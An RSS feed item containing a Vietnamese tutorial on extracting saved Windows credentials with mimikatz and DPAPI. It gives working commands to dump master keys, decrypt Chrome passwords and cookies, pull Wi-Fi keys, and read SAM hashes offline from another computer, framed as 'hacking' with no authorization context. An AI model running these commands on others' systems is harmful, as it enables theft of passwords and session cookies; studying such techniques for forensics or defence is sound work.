<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>Mimikatz &#8211; AnonyViet</title>
	<atom:link href="https://anonyviet.com/tag/mimikatz/feed/" rel="self" type="application/rss+xml" />
	<link>https://anonyviet.com</link>
	<description>Webiste chia sẻ kiến thức công nghệ thông tin, mạng máy tính, bảo mật phổ biến nhất Việt Nam. Luôn cập nhật tin tức, thủ thuật nóng hổi nhất</description>
	<lastBuildDate>Thu, 24 Jul 2025 12:37:05 +0000</lastBuildDate>
	<language>vi</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://anonyviet.com/wp-content/uploads/2018/10/cropped-ico-logo-75x75.png</url>
	<title>Mimikatz &#8211; AnonyViet</title>
	<link>https://anonyviet.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA</title>
		<link>https://anonyviet.com/cach-hack-password-windows-da-luu-bang-mimikatz-va-dapa/</link>
					<comments>https://anonyviet.com/cach-hack-password-windows-da-luu-bang-mimikatz-va-dapa/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Tue, 19 Jan 2021 12:11:34 +0000</pubDate>
				<category><![CDATA[Basic Hacking]]></category>
		<category><![CDATA[DAPA]]></category>
		<category><![CDATA[hack password]]></category>
		<category><![CDATA[Mimikatz]]></category>
		<category><![CDATA[password]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=23511</guid>

					<description><![CDATA[Trong bài viết &#8220;Cách hack mật khẩu Windows&#8220;, mình đã hướng dẫn các bạn cách hack pass login Windows 10 bằng truy xuất RAM. Còn trong bài viết hôm nay, mình sẽ hướng dẫn các bạn làm quen với chương trình mimikatz 2, chương trình mà mình đã sử dụng để trích xuất mật khẩu [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Trong bài viết &#8220;<a href="https://anonyviet.com/cach-su-dung-powermemory-de-hack-password-login-windows/" target="_blank" rel="noopener noreferrer">Cách hack mật khẩu Windows</a>&#8220;, mình đã hướng dẫn các bạn cách hack pass login Windows 10 bằng truy xuất RAM. Còn trong bài viết hôm nay, mình sẽ hướng dẫn các bạn làm quen với chương trình mimikatz 2, chương trình mà mình đã sử dụng để trích xuất mật khẩu trong hệ thống đang sử dụng hoặc từ các tệp đăng ký Windows từ một máy tính khác.</p>
<h2>Cách Windows lưu trữ mật khẩu</h2>
<p>Ngoài mật khẩu dùng để đăng nhập vào Windows, các mật khẩu dưới đây cũng được lưu trữ trong hệ điều hành này:</p>
<ul>
<li>Credential Manager</li>
<li>Windows Vault</li>
<li>Mật khẩu trình duyệt IE</li>
<li>Mật khẩu Wifi</li>
<li>Certifications</li>
<li>Mật khẩu VPN</li>
<li>SSH keys</li>
<li>Mật khẩu Google Chrome</li>
<li>Chứng chỉ Google Talk, Skype, Dropbox, iCloud, Safari</li>
</ul>
<p>Tất cả các mật khẩu này đều được mã hóa. Để mã hóa mật khẩu và thông tin đăng nhập, hệ thống phải sử dụng DPAPI (Giao diện lập trình ứng dụng bảo vệ dữ liệu). Đối với người dùng cuối, tất cả các quy trình mã hóa và giải mã dữ liệu đều được minh bạch, tức là các nhà phát triển không đụng chạm tới dữ liệu thô của bạn.</p>
<p>Mật khẩu người dùng được sử dụng để mã hóa các dữ liệu này. Chính xác hơn, các master keys (khóa chính) được tạo ra, với sự trợ giúp của dữ liệu được mã hóa và giải mã, và mật khẩu người dùng được sử dụng để giải mã các khóa chính. Một người dùng có thể có nhiều master keys. Trên thực tế, hàm băm sẽ băm tất cả các mật khẩu cũ được lưu trữ và cố gắng giải mã khóa chính cho đến khi tìm thấy mã băm phù hợp.</p>
<p>Yêu cầu bắt buộc của cơ chế giải mã này là bạn phải có khoá chính phù hợp , ví dụ, mật khẩu từ trình duyệt web Google Chrome. Nhưng nếu bạn sao chép tệp chứa mật khẩu của trình duyệt này sang máy tính khác mà không có khóa chính của máy cũ, thì bạn sẽ không thể giải mã các mật khẩu này.</p>
<h2>Cách mã hóa và giải mã bằng DPAPI</h2>
<p>Chúng ta sẽ tiếp tục dùng công cụ <a href="https://github.com/gentilkiwi/mimikatz/releases" target="_blank" rel="noopener">mimikatz</a> để thực nghiệm Hack tất cả Password đã lưu trên Windows.</p>
<p>Như đã đề cập ở trên, DPAPI được sử dụng để mã hóa và giải mã dữ liệu. DPAPI khá đơn giản không chỉ cho người dùng cuối, mà còn cho các nhà phát triển muốn sử dụng cách mã hóa này &#8211; có hai chức năng chính của DPAPI là mã hóa và giải mã, chúng có thể được gọi từ ứng dụng.</p>
<p>Trước khi chuyển sang trích xuất Password từ trình duyệt web và các Password khác được lưu trữ trên Windows, hãy tìm hiểu kỹ hơn về DPAPI. Nhiều bài báo hay đã giải thích cách hoạt động của DPAPI. Vậy nên mình sẽ không giải thích lại nữa, mà chỉ đơn giản là cung cấp các bài viết <a href="https://vi.conservationdatasystems.com/5189-dpapi-secrets.html" target="_blank" rel="noopener">ở đây</a>. Thay vì đi sâu vào chi tiết lý thuyết của DPAPI, chúng ta hãy thực hiện một vài ví dụ thực tế: mã hóa một chuỗi hoặc tệp bằng DPAPI.</p>
<p>Mô-đun <strong>dpapi</strong> được sử dụng để làm việc với DPAPI, lệnh <strong>protect</strong> được sử dụng để mã hóa dữ liệu. Lệnh này có tùy chọn bắt buộc là <strong>/data</strong>, cuối cùng, bạn chỉ cần nhập đường dẫn đến file hoặc văn bản cần mã hoá là được.</p>
<p>Ví dụ: tôi muốn mã hóa chuỗi ‘Test string to encrypt’:</p>
<p><span style="font-size: 14pt;"><code>dpapi::protect /data:<span class="hljs-string">"Test string to encrypt"</span></code></span></p>
<p><img fetchpriority="high" decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2020/11/129.png" alt="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA" width="518" height="369" title="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 13"></p>
<p>Hãy chú ý đến phần “<strong>Blob:</strong>” &#8211; đây là dữ liệu được mã hóa ở dạng nhị phân.</p>
<p>Thay vì hiển thị dữ liệu trên command line, chúng có thể được lưu bằng tùy chọn <strong>/out:</strong></p>
<p><code><span style="font-size: 14pt;">dpapi::protect /data:<span class="hljs-string">"Test string to encrypt"</span> /out:crypted.txt</span></code></p>
<p>Kết quả là, tệp crypted.txt đã được tạo. Tệp này chứa dữ liệu &#8220;Test string to encrypt&#8221; được mã hóa.</p>
<p>Như bạn có thể thấy, chúng ta không cần phải suy nghĩ về khóa chính và mật khẩu &#8211; hệ điều hành sẽ tự làm mọi thứ.</p>
<p>Để giải mã, hàm <strong>blob</strong> được sử dụng (blob là dữ liệu được mã hóa theo phương pháp này) từ cùng một mô-đun <strong>dpapi</strong>. Hàm này có một tùy chọn bắt buộc là<strong> /in</strong>, sau đó bạn cần chỉ định dữ liệu để giải mã. Để giải mã, bạn cũng cần chỉ tuỳ chọn <strong>/unprotect</strong>, nếu không thông tin về <strong>blob</strong> (dữ liệu được mã hóa) sẽ chỉ được hiển thị mà không có giải mã:</p>
<p><code><span style="font-size: 14pt;">dpapi::blob /in:crypted.txt /unprotect</span></code></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/11/130.png" alt="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 12" width="518" height="219" title="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 14">Nếu bạn muốn lưu dữ liệu đã giải mã vào một tệp, thì hãy sử dụng tùy chọn <strong>/out.</strong></p>
<h2>Cách giải mã tệp DPAPI trên máy tính khác</h2>
<p>Điều gì xảy ra nếu mình chuyển tệp crypto.txt sang một máy tính khác và cố gắng giải mã nó bằng cùng một lệnh trên? Thử xem nhé:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/11/131.png" alt="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 13" width="685" height="347" title="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 15"></p>
<p>Việc giải mã đã không thành công và xuất hiện lỗi:</p>
<p><code>* <span class="hljs-keyword">using</span> CryptUnprotectData API ERROR kuhl_m_dpapi_unprotect_raw_or_blob ; NTE_BAD_KEY_STATE, needed Masterkey <span class="hljs-keyword">is</span>: {ac45381a-d9db<span class="hljs-number">-4</span>c68-b0e9<span class="hljs-number">-7410667</span>c3984}</code></p>
<p>Nếu bạn để ý kỹ lỗi thì sẽ tìm ra được, thứ chúng ta cần là Masterkey ac45381a-d9db-4c68-b0e9-7410667c3984.</p>
<p>Chuỗi ac45381a-d9db-4c68-b0e9-7410667c398 là mã băm khóa chính. Có thể nói đây là mã định danh hay vân tay của chìa khóa. Trên máy tính ban đầu, nơi dữ liệu đã được mã hóa, việc giải mã chúng rất đơn giản và dễ dàng. Còn khi chúng ta cố gắng giải mã dữ liệu này mà không có khóa chính sẽ không thành công. Vậy nên, thứ chúng ta cần là chỉ định Masterkey từ máy tính ban đầu, cụ thể là máy mà dữ liệu được mã hóa.</p>
<p>Mình đã trích xuất Masterkey và sẽ chỉ định nó bằng cách sử dụng tùy chọn<strong> /masterkey</strong> và chạy lại lệnh giải mã trên máy tính khác:</p>
<p><span style="font-size: 14pt;"><code><span class="hljs-attribute">dpapi</span>::blob /in:crypted.txt /unprotect /masterkey:<span class="hljs-number">5</span>dccd<span class="hljs-number">3</span>bea<span class="hljs-number">06</span>a<span class="hljs-number">52</span>d<span class="hljs-number">4355</span>fa<span class="hljs-number">6</span>b<span class="hljs-number">03421845</span>c<span class="hljs-number">9</span>fe<span class="hljs-number">96277</span>db<span class="hljs-number">0</span>d<span class="hljs-number">5</span>af<span class="hljs-number">1</span>a<span class="hljs-number">24</span>eb<span class="hljs-number">3</span>daefb<span class="hljs-number">14</span>d<span class="hljs-number">6</span>fc<span class="hljs-number">66</span>b<span class="hljs-number">386</span>a<span class="hljs-number">3</span>a<span class="hljs-number">235</span>a<span class="hljs-number">29327</span>d<span class="hljs-number">0</span>dc<span class="hljs-number">1</span>f<span class="hljs-number">7</span>ca<span class="hljs-number">990389644</span>af<span class="hljs-number">173893</span>d<span class="hljs-number">4</span>cf<span class="hljs-number">3392</span>b<span class="hljs-number">3950953</span>dd<span class="hljs-number">8</span></code></span></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/11/132.png" alt="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 14" width="686" height="389" title="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 16"></p>
<p>Thành công rồi đó!</p>
<h2>Cách tìm Windows Masterkeys</h2>
<p>Mimikatz có chức năng trích xuất tất cả các master keys của người dùng hiện tại. Nhưng trước khi chuyển sang phần đó, chúng ta phải tìm hiểu các masterkeys để hiểu hết về cách giải mã này nhé.</p>
<p>Ở dạng đã giải mã, ví dụ masterkey trông như thế này: <strong>5dccd3bea06a52d4355fa6b03421845c9fe96277db0d5af1a24eb3daefb14d6fc66b386a3a235a29327d0dc1f7ca990389644af173893d4cf3392b3950953dd8</strong></p>
<p>Các masterkeys được mã hóa và lưu trữ trong một thư mục có dạng <strong>%appdata%\Microsoft\Protect{sid}*. </strong>Giải thích:</p>
<ul>
<li><strong>%appdata%</strong> kà <strong>C:\Users&lt;USER&gt;\AppData\Roaming</strong></li>
<li><strong>{sid}</strong> là user SID</li>
</ul>
<p>Trong CMD (Win + r → gõ cmd), bạn có thể thấy SID của mình bằng lệnh:</p>
<p><span style="font-size: 14pt;"><code>wmic useraccount <span class="hljs-keyword">where</span> name=<span class="hljs-string">"%USERNAME%"</span> <span class="hljs-keyword">get</span> sid</code></span></p>
<p>Lệnh đó sẽ không hoạt động trong PowerShell. Các lệnh sau sẽ hoạt động trong cả CMD và PowerShell.</p>
<p>Tìm SID của bạn:</p>
<p><span style="font-size: 14pt;"><code><span class="hljs-attribute">whoami</span> /user</code></span></p>
<p>Tìm SID cho tất cả các user:</p>
<p><code><span style="font-size: 14pt;">wmic useraccount <span class="hljs-keyword">get</span> name,sid</span></code></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/11/133.png" alt="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 15" width="459" height="391" title="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 17"></p>
<p>Các masterkey được mã hoá trên ổ cứng của bạn:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/11/134.png" alt="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 16" width="722" height="233" title="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 18"></p>
<p>Hàm<strong> dpapi::masterkey</strong> có thể giải mã các masterkey. Nếu bạn chỉ sử dụng chức năng này với tùy chọn <strong>/in</strong>, và chỉ định đường dẫn đến masterkey, thì thông tin về nó sẽ được hiển thị mà không cần giải mã:</p>
<p><code><span style="font-size: 14pt;">dpapi::masterkey /in:<span class="hljs-string">"%appdata%\Microsoft\Protect\S-1-5-21-4099021954-1290662600-116018068-1001\ac45381a-d9db-4c68-b0e9-7410667c3984"</span></span></code></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/11/135.png" alt="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 17" width="517" height="284" title="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 19"></p>
<p>Để trích xuất tất cả các masterkey của người dùng hiện tại cùng một lúc, hãy chạy lệnh:</p>
<p><code><span style="font-size: 14pt;">sekurlsa::dpapi</span></code></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/11/136.png" alt="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 18" width="517" height="368" title="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 20"></p>
<p>Các masterkeys trong này gồm:</p>
<p><code>Authentication Id : <span class="hljs-number">0</span> ; <span class="hljs-number">371163</span> (<span class="hljs-number">00000000</span>:<span class="hljs-number">0005</span>a9db) Session : Interactive <span class="hljs-keyword">from</span> <span class="hljs-number">1</span> User Name : MiAl Domain : HACKWARE-MIAL Logon Server : HACKWARE-MIAL Logon Time : <span class="hljs-number">25.02</span><span class="hljs-number">.2020</span> <span class="hljs-number">13</span>:<span class="hljs-number">25</span>:<span class="hljs-number">54</span> SID : S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-21</span><span class="hljs-number">-4099021954</span><span class="hljs-number">-1290662600</span><span class="hljs-number">-116018068</span><span class="hljs-number">-1001</span> [<span class="hljs-meta">00000000</span>] * GUID : {abd3abfe-f620<span class="hljs-number">-46e4</span>-a5ee<span class="hljs-number">-8</span>dc314ef4169} * Time : <span class="hljs-number">25.02</span><span class="hljs-number">.2020</span> <span class="hljs-number">18</span>:<span class="hljs-number">34</span>:<span class="hljs-number">11</span> * MasterKey : <span class="hljs-number">450e3</span>e2609e394dfef60c90533a06ddd84dc9968965bd8579a3c40607704077e506c8d0738e6f42cfd934b3eb75eedc3c29fe7deb8dd0cf05ddb4deb653fcbff * sha1(key) : <span class="hljs-number">806</span>d3a6453a45b9b4eb3e8edafc9dd4b12c0d494 [<span class="hljs-meta">00000001</span>] * GUID : {ac45381a-d9db<span class="hljs-number">-4</span>c68-b0e9<span class="hljs-number">-7410667</span>c3984} * Time : <span class="hljs-number">25.02</span><span class="hljs-number">.2020</span> <span class="hljs-number">18</span>:<span class="hljs-number">26</span>:<span class="hljs-number">00</span> * MasterKey : <span class="hljs-number">5</span>dccd3bea06a52d4355fa6b03421845c9fe96277db0d5af1a24eb3daefb14d6fc66b386a3a235a29327d0dc1f7ca990389644af173893d4cf3392b3950953dd8 * sha1(key) : d5a7975eea70b6fe5eae3809ed3c7e9c864d1333</code></p>
<p>GUID là một định danh (identifier), tên của một tệp masterkey. MasterKey chính là khóa chủ.</p>
<p>Để thuận tiện, mimikatz lưu trữ một bộ nhớ cache của các masterkey được giải nén. Và không chỉ lưu trữ và hiển thị chúng, mà còn sử dụng masterkeys nếu cần cho các hoạt động nhất định. Để xem nội dung của bộ nhớ đệm, hãy chạy lệnh:</p>
<p><code><span style="font-size: 14pt;">dpapi::cache</span></code></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/11/137.png" alt="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 19" width="603" height="228" title="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 21"></p>
<p>Các masterkeys được giải nén có thể được sử dụng trên máy khác.</p>
<h2>Cách lưu và sử dụng master keys</h2>
<p>Để lưu bộ nhớ cache, hãy sử dụng các tùy chọn <strong>/save</strong> và <strong>/file: FILE</strong>:</p>
<p><span style="font-size: 14pt;"><code>dpapi::<span class="hljs-keyword">cache</span> /<span class="hljs-keyword">save</span>/<span class="hljs-keyword">file</span>:cache.bin</code></span></p>
<p>Nếu bạn sử dụng tuỳ chọn <strong>/file</strong>, thì theo mặc định, dữ liệu sẽ được lưu vào tệp <strong>mimikatz_dpapi_cache.ndr</strong>.</p>
<p>Để load bộ nhớ cache, hãy sử dụng tùy chọn <strong>/load</strong> và <strong>/file: FILE</strong>:</p>
<p><code><span style="font-size: 14pt;">dpapi::<span class="hljs-keyword">cache</span> /<span class="hljs-keyword">load</span> /<span class="hljs-keyword">file</span>:cache.bin</span></code></p>
<h2>CREDHIST</h2>
<p>Tệp này nằm trên đường dẫn <strong>“%appdata%\Microsoft\Protect\CREDHIST”,</strong> chỉ tác dụng trong trường hợp không thuộc domain nào cả. Tệp này:</p>
<ul>
<li>chứa: thông tin đăng nhập được mã hóa trước đó của người dùng (SHA1 &amp; NTLM)</li>
<li>được sử dụng để: giải mã masterkey</li>
<li>được bảo vệ bởi: mật khẩu SHA1 được dùng gần đây nhất</li>
<li>mỗi entry được bảo vệ bởi khóa trước đó, &#8230;..</li>
</ul>
<p>Để xem các thuộc tính của tệp này, hãy chạy lệnh:</p>
<p><span style="font-size: 14pt;"><code>dpapi::credhist /in:<span class="hljs-string">"%appdata%\Microsoft\Protect\CREDHIST"</span></code></span></p>
<p>Ví dụ kết quả:</p>
<p><span style="font-size: 14pt;"><code><span class="hljs-strong">**CREDHIST**</span> dwVersion : 00000001 - 1 </code></span></p>
<p><span style="font-size: 14pt;"><code>guid : {86cddf31-2b68-42fb-a6e6-28b628228fc8} </code></span></p>
<p><span style="font-size: 14pt;"><code>dwNextLen : 00000000 - 0</code></span></p>
<p>Mình đã cố gắng giải mã tệp này trong mimikatz bằng lệnh:</p>
<p><code><span style="font-size: 14pt;"><span class="hljs-attribute">dpapi</span>::credhist /in:<span class="hljs-string">"Z:\files\CREDHIST"</span> <span class="hljs-string">"/password:qweqwe123"</span> /sid:S-<span class="hljs-number">1</span>-<span class="hljs-number">5</span>-<span class="hljs-number">21</span>-<span class="hljs-number">4099021954</span>-<span class="hljs-number">1290662600</span>-<span class="hljs-number">116018068</span>-<span class="hljs-number">1003</span></span></code></p>
<p>nhưng lại không thành công. Nếu bạn biết cách giải mã nó, hãy để lại bình luận nhé.</p>
<h2>Cách trích xuất tất cả mật khẩu của Google Chome</h2>
<p>Trong mimikatz, sử dụng lệnh <strong>dpapi :: chrome</strong>, bạn có thể trích xuất tất cả mật khẩu của người dùng hiện tại. Bạn cần sử dụng tùy chọn <strong>/in</strong> với đường dẫn đến tệp lưu trữ thông tin xác thực. Tệp này nằm trong <strong>“%localappdata%\Google\Chrome\User Data\Default\Login Data”</strong>. Nhân tiện, tệp này thuộc dạng cơ sở dữ liệu SQLite, trong đó tất cả dữ liệu ngoại trừ mật khẩu (ví dụ: địa chỉ của các trang web) được lưu trữ dưới dạng văn bản rõ ràng. Và mật khẩu được mã hóa bằng DPAPI. Để giải mã, chúng ta cần phải sử dụng tuỳ chọn <strong>/unprotect:</strong></p>
<p><span style="font-size: 14pt;"><code>dpapi::chrome /in:<span class="hljs-string">"%localappdata%\Google\Chrome\User Data\Default\Login Data"</span> /unprotect</code></span></p>
<h2>Cách trích xuất tất cả cookie của Google Chome</h2>
<p>Google Chome lưu trữ cookie trong tệp <strong>“%localappdata%\Google\Chrome\User Data\Default\Cookies”</strong>. Như với mật khẩu của trang web, tất cả dữ liệu ngoại trừ cookie sẽ được lưu trữ dưới dạng văn bản rõ ràng. Để truy xuất tất cả thông tin của cookie, hãy chạy lệnh:</p>
<p><code><span style="font-size: 14pt;">dpapi::chrome /in:<span class="hljs-string">"%localappdata%\Google\Chrome\User Data\Default\Cookies"</span> /unprotect</span></code></p>
<h2>Cách trích xuất mật khẩu Wi-Fi của Windows</h2>
<p>Trong Windows, mật khẩu Wi-Fi có thể được trích xuất mà không cần mimikatz, ví dụ:</p>
<p><span style="font-size: 14pt;"><code>netsh wlan export profile <span class="hljs-keyword">interface</span>= <span class="hljs-string">"&lt;INTERFACE NAME&gt;"</span> key=clearfolder=c:\ netsh wlan export profile <span class="hljs-keyword">interface</span>=<span class="hljs-string">"*"</span>key=clearfolder=c:\</code></span></p>
<p>Để phương pháp này hoạt động, bạn phải cắm card Wi-Fi.</p>
<p>Nhược điểm của phương pháp này là nó không hoạt động đối với máy tính đã tắt.</p>
<p>Trong mimikatz có lệnh <strong>dpapi :: wifi</strong> và <strong>dpapi :: wwan</strong> tương ứng để trích xuất mật khẩu từ các kết nối Wi-Fi và WWAN đã lưu.</p>
<p>Mật khẩu Wi-Fi được lưu dưới dạng:</p>
<ul>
<li><strong>C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces{interface guid}*.xml</strong></li>
</ul>
<p>Và mật khẩu WWAN được lưu dưới dạng:</p>
<ul>
<li><strong>C:\ProgramData\Microsoft\Wlansvc\Profiles{interface guid}*.xml</strong></li>
</ul>
<p>Bạn cần bắt đầu bằng cách lấy các masterkeys. Vì mình thực hiện các lệnh này trên local, nên mình giải mã các masterkey bằng lệnh:</p>
<p><span style="font-size: 14pt;"><code>sekurlsa::dpapi</code></span></p>
<p>Mình đã tìm thấy trên local hai interfaces, mỗi interfaces có một cấu hình kết nối Wi-Fi:</p>
<ul>
<li>C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces{24FF5798-6078-4148-96B5-75191CCEA209}{0C67E040-68A8-42A4-B870-8B5AA5E4823B}.xml</li>
<li>C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces{C623DA26-72C0-4DD6-99B1-6E2C2D06E8C5}{A372AA08-55B8-4A66-A349-EAAB48580E0A}.xml</li>
</ul>
<p>Để trích xuất mật khẩu Wi-Fi, mìnhchạy các lệnh:</p>
<p><span style="font-size: 14pt;"><code>dpapi::wifi /in:<span class="hljs-string">"C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{24FF5798-6078-4148-96B5-75191CCEA209}\{0C67E040-68A8-42A4-B870-8B5AA5E4823B}.xml"</span></code></span></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/11/138.png" alt="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 20" width="770" height="422" title="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 22"></p>
<p>Mật khẩu trong dòng <strong>&#8220;Key Material:&#8221;.</strong></p>
<p><span style="font-size: 14pt;"><code>dpapi::wifi /in:<span class="hljs-string">"C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{C623DA26-72C0-4DD6-99B1-6E2C2D06E8C5}\{A372AA08-55B8-4A66-A349-EAAB48580E0A}.xml"</span> /unprotect</code></span></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/11/139.png" alt="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 21" width="518" height="289" title="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 23"></p>
<p>Nếu masterkeys không có trong bộ nhớ cache mimikatz, bạn có thể chỉ định rõ ràng nó bằng tùy chọn <strong>/masterkey.</strong></p>
<h2>Cách trích xuất mật khẩu Google Chrome từ một máy tính khác</h2>
<ol>
<li>Để giải mã tệp <strong>“%localappdata%\Google\Chrome\User Data\Default\Login Data”</strong>, bạn cần Masterkey được mã hóa mật khẩu trong tệp này.</li>
<li>Để giải mã masterkeys, bạn cần mật khẩu người dùng Windows để đăng nhập vào hệ thống và tệp masterkeys được mã hóa, tức là tệp <strong>%appdata%\Microsoft\Protect{sid}*.</strong></li>
<li>Để bẻ khóa mật khẩu người dùng Windows, bạn cần có hàm băm NTLM.</li>
<li>Để truy xuất mã băm NTLM, bạn cần các tệp đăng ký (registry files) <strong>C:/Windows/System32/config/SAM </strong>và <strong>C:/Windows/System32/config/SYSTEM</strong>, hoặc kết xuất lsass.DMP. Hơn nữa, tốt hơn là sử dụng kết xuất vì có thể trích xuất hàm băm SHA1 từ nó và hàm băm này có thể được sử dụng trực tiếp để giải mã masterkeys.<br />
<span style="font-size: 14pt;"><code>lsadump::sam /system:C:\path\to\SYSTEM /sam:C:\path\to\SAM</code></span></li>
<li>Sau đó, để lấy Masterkey ngoại tuyến, bạn cần chạy lệnh sau:<br />
<span style="font-size: 14pt;"><code>dpapi::masterkey /in:<span class="hljs-string">"path\to\encrypted\masterkey"</span> <span class="hljs-string">"/password:target_user_password"</span> /sid:target_user_SID</code></span></li>
</ol>
<p>SID có thể được lấy từ tên thư mục đến masterkeys được mã hóa.</p>
<p><span style="font-size: 14pt;"><code><span class="hljs-attribute">dpapi</span>::masterkey /in:<span class="hljs-string">"Z:\files\1f89c852-1c9d-47f9-81f8-b18be7c11512"</span> <span class="hljs-string">"/password:qweqwe123"</span> /sid:S-<span class="hljs-number">1</span>-<span class="hljs-number">5</span>-<span class="hljs-number">21</span>-<span class="hljs-number">4099021954</span>-<span class="hljs-number">1290662600</span>-<span class="hljs-number">116018068</span>-<span class="hljs-number">1003</span></code></span></p>
<p>Nếu thành công, thông tin sau sẽ được hiển thị ở cuối kết quả:</p>
<p><code>[<span class="hljs-meta">masterkey</span>] <span class="hljs-keyword">with</span> <span class="hljs-keyword">volatile</span> cache: SID:S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-21</span><span class="hljs-number">-4099021954</span><span class="hljs-number">-1290662600</span><span class="hljs-number">-116018068</span><span class="hljs-number">-1003</span>;GUID:{<span class="hljs-number">1b</span>d91e0f<span class="hljs-number">-25f</span>3<span class="hljs-number">-49e9</span>-a370-bc68d1f0d272};MD4:ca76a176340f0291e1cc8ea7277fc571;SHA1:<span class="hljs-number">886</span>d0f341f3c29030ec855334a08e52868c06c69; key : <span class="hljs-number">89e43</span>af0a178c2f1c7311c028dd75e2d2489fc78a3df92808094b1671785d6fd7f107ec562320bcaa8563be759abbf60bf70791107c5240cda2cfddcb003df19 sha1: b73d4d8cbbdafa960e49ca480559a4b530e65f05</code></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/11/140.png" alt="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 22" width="771" height="554" title="Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA 24"></p>
<p>Dòng chính bắt đầu bằng <strong>key</strong>&#8211; đây là masterkey được giải mã.</p>
<p>Ngoài ra, masterkeys sẽ được lưu vào bộ nhớ đệm.</p>
<p>Cuối cùng, để giải mã ngoại tuyến mật khẩu trình duyệt Google Chrome, hãy chạy lệnh:</p>
<p><span style="font-size: 14pt;"><code>dpapi::chrome /in:<span class="hljs-string">"PATH\TO\Login Data"</span> /unprotect /masterkey:MASTERKEY</code></span></p>
<p>Nếu masterkey đã có trong bộ nhớ cache, thì bạn có thể bỏ qua tùy chọn <strong>/masterkey.</strong></p>
<h2>Nơi Windows lưu trữ mật khẩu</h2>
<p>Đây là các đường dẫn đến các tệp được mã hóa bằng DPAPI. Nếu bị thiếu cái nào, thì các bạn nhớ bình luận nhé:</p>
<p>Pivot table của tác giả mimikatz (rất khó đọc):</p>
<ul>
<li><a href="https://docs.google.com/spreadsheets/d/e/2PACX-1vQl3etOIPA54Xyt04RZlt2syf4xChXfo2EZHViUoUQc94VZGY5jJwPeQGN66vFBZvgzfRc2dP-SEkk1/pubhtml" target="_blank" rel="noopener noreferrer">File Excel liệt kê nơi lưu Password trong Windows</a></li>
</ul>
<p>Mật khẩu Wi-Fi được lưu trữ trong:</p>
<ul>
<li>C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces{interface guid}*.xml</li>
</ul>
<p>Mật khẩu WWAN được lưu trữ trong:</p>
<ul>
<li>C:\ProgramData\Microsoft\Wlansvc\Profiles{interface guid}*.xml Xml</li>
</ul>
<p>Cookies Google Chrome được lưu trữ trong:</p>
<ul>
<li>%localappdata%\Google\Chrome\User Data\Default\Cookies</li>
</ul>
<p>Mật khẩu của website được lưu trữ trong:</p>
<ul>
<li>%localappdata%\Google\Chrome\User Data\Default\Login Data</li>
</ul>
<p><strong>% localappdata%</strong> thường là ‘<strong>C:\Users&lt;USERNAME&gt;\AppData\Local</strong>’.</p>
<p>Các masterkeys đã mã hóa được lưu trữ trong một thư mục có dạng <strong>%appdata%\Microsoft\Protect{sid}*</strong>.</p>
<ul>
